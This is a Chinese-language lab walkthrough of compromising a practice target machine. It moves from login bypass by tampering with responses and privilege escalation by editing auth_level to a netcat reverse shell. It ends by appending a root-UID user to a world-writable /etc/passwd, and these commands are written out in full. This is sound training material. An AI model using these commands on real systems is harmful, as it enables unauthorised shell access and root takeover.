靶机记录--7
目录
分配ip
这个靶机的IP要重新分发(dhclient)
主机发现
端口扫描
这里扫到两个ip ,但是mac地址相同,扫一个就行
服务版本,操作系统扫描
开始渗透
1> 来到主页,有登陆点,注册点
2> 来到登陆点,万能密码,弱口令,暴力破解走一波
3> 看看有没有逻辑漏洞
抓包并拦截回包
将false改为true再发送
失败了
4> 看看注册点
它不让注册
5> 那扫一波目录
扫了两个没啥用的
6> 检查页面源码,发现了四个js文件
7> 下载下来,审计
搜一下login,没啥发现
在搜一下注册,我们貌似掌握了注册代码,虽然它嘴上说不让注册,但是注册代码还是在的
8> 构造注册代码
{
"name":"hack1",
"email":"hack1@qq.com",
"username":"root",
"password":"root"
}
这里抓的是注册点的包,结果失败了,猜测那里的代码应该只是显示信息用的
9> 抓一个登陆包,加入注册信息
还是失败了,这里只能检验登陆成功与否
10> 将包的地址改为注册(authenticate-->register)
当这边信息输入有误时,会爆出绝对路径
11> 创建账号
12> 登陆
登陆上好像没啥用
13> 再创建一个账号,登陆
然后发现,两个账户名就是目录
水平越权
14> 可以水平越权
修改目录就直接可以切换用户
但是还没啥用,都是普通用户,也都没啥权限
15> 抓一个登陆包,看能不能垂直越权到管理员
可以看到,它回包的里面有一个auth_level+standard_user
16> 怎么修改,修改成什么
我们只需要抓包,将它改为超级用户就行
来源码里搜一下
垂直越权
17> 垂直越权
抓登陆包,拦截回包
右边一改左边也会改,直接复制
密文与明文都改
18> 现在是欺骗浏览器,管理员登陆
又一个登录框
抓包拦回包,修改状态信息
false-->true
显示登陆成功,但是死胡同了,他没有做登陆成功后面的页面
19> cms代码审计,发现命令执行漏洞
反弹shell
20 >反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.129.129 443 > /tmp/f;
要提前再kali上监听端口
构造反弹shell脚本
21> getshell
尝试提权
22> 查看版本内核信息,尝试内核版本漏洞提权失败
flag再/root里,但是这里查不出有用的
23> 查找有写入权限的(除过 /proc/ 目录)
find / -perm -o=w -type f 2>/dev/null | grep -v /proc/
看到/etc/passwd 有写入权限(错误的配置导致提权的可能)
24> 写入一个有root权限的用户
perl -le 'print crypt(123456,aa)'
对密码进行加密(aa属于盐值相当于加密后字符串的前缀)
将zhangsan用户写入/etc/passwd,并且拥有root权限
echo 'zhangsan:aaAN1ZUwjW7to:0:0:zhangsan:/root:/bin/bash' >> /etc/passwd
得到flag
25> 提权成功
总结
- 在判断可能有越权漏洞的的地方,可以尝试自己创建两个用户先测试,因为自己有权限,可以对比判断出特征
- 在登陆点,随便输入并抓包,可以通过修改返回包的状态内容(0/1 false/true)来“骗”浏览器,通过逻辑绕过登陆
- linux 的 proc/ 路径下是文件系统的东西